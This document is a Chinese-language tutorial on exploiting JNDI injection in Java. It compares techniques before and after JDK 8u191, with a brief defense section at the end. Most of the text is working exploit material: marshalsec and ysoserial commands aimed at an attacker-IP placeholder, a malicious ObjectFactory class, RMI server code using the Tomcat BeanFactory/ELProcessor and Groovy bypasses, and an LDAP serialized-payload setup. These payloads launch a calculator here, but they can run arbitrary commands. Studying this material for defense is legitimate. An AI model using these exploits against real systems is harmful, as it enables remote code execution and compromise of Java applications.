8u191后的JNDI注入利用
字数 1382 2025-08-05 08:19:35
JNDI注入利用技术详解(8u191前后版本对比)
一、JNDI注入版本关系概述
JNDI注入利用技术随着JDK版本的更新而不断演变,主要分为以下几个阶段:
- 8u121之前:直接使用RMI + JNDI Reference方式
- 8u191之前:使用LDAP + JNDI Reference方式
- 8u191之后:需要寻找新的绕过方式
二、8u121之前的利用方式
利用方法
使用RMI + JNDI Reference组合进行攻击:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://攻击者IP:8000/#Evail
版本限制
- JDK 6u132之前
- JDK 7u122之前
- JDK 8u121之前(不包括8u121)
安全补丁
从以下版本开始默认禁用远程Codebase加载:
- JDK 6u132
- JDK 7u122
- JDK 8u121
相关属性变为false:
com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase
三、8u191之前的利用方式
利用方法
使用LDAP + JNDI Reference组合进行攻击:
- 创建恶意类并编译:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Evail implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("gnome-calculator");
return null;
}
}
- 编译并启动HTTP服务:
javac Evail.java
python -m http.server 8000
-
启动LDAP服务端(完整代码见原文)
-
客户端触发:
String uri = "ldap://攻击者IP:9999/Evail";
Context ctx = new InitialContext();
ctx.lookup(uri);
简化方法
使用marshalsec工具快速搭建LDAP服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://攻击者IP:8000/#Evail 9999
版本限制
此方法在8u191(包括8u191)版本失效
四、8u191之后的绕过技术
1. JNDI+RMI高版本绕过
利用Tomcat8中的类
依赖条件:
- 目标机器有Tomcat8及以上版本的jar包
- 需要以下两个类:
org.apache.naming.factory.BeanFactoryjavax.el.ELProcessor
服务端代码:
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "a=eval"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"gnome-calculator\")"));
ReferenceWrapper refObjWrapper = new ReferenceWrapper(resourceRef);
registry.bind("exp", refObjWrapper);
客户端触发:
String uri = "rmi://攻击者IP:1099/exp";
Context ctx = new InitialContext();
ctx.lookup(uri);
适用版本:
测试通过版本:8u102、8u121、8u191、8u202等
依赖Groovy 2+版本
服务端代码:
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = String.format("@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"%s\")\n" +
"})\n" +
"def x\n", "gnome-calculator");
ref.add(new StringRefAddr("x",script));
ReferenceWrapper refObjWrapper = new ReferenceWrapper(ref);
registry.bind("exp", refObjWrapper);
依赖任意Groovy版本
服务端代码:
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
String script = String.format("'%s'.execute()", "gnome-calculator");
ref.add(new StringRefAddr("x",script));
ReferenceWrapper refObjWrapper = new ReferenceWrapper(ref);
registry.bind("exp", refObjWrapper);
2. JNDI+LDAP高版本绕过
利用条件:
- 目标存在反序列化利用链所需的类库
- 从JDK 6u211,7u201, 8u191, 11.0.1开始,
com.sun.jndi.ldap.object.trustURLCodebase默认false
利用方法:
- 生成反序列化payload:
java -jar ysoserial.jar CommonsCollections5 gnome-calculator > poc.txt
-
转换为Base64编码并放入服务端代码
-
服务端设置
javaSerializedData属性:
e.addAttribute("javaSerializedData", Base64.decode("base64编码的payload"));
- 客户端触发:
String uri = "ldap://攻击者IP:6666/Evail";
Context ctx = new InitialContext();
ctx.lookup(uri);
五、总结与防御建议
技术总结
- 不同JDK版本有不同的JNDI注入利用方式
- 高版本需要依赖特定类库或利用反序列化链
- Tomcat环境、Groovy环境等可提供额外利用途径
防御建议
- 升级JDK到最新版本
- 限制JNDI查找的协议和地址
- 移除不必要的依赖库(如Groovy、Tomcat特定版本)
- 监控和过滤可疑的JNDI/RMI/LDAP请求
参考资源
- https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
- https://www.freebuf.com/vuls/253545.html
- https://blog.csdn.net/caiqiiqi/article/details/105951247